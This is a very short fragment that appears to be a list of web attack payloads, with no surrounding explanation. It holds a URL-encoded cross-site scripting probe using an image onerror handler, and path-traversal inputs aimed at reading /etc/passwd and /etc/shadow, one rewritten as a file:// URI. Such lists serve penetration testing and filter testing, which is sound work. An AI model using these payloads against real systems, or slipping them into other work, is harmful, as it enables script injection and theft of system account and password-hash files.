`payload´; %3Cimg src='null' onerror=alert('spyerror')%3E
/etc/./passwd ==> file:///etc/./passwd
/./etc/./shadow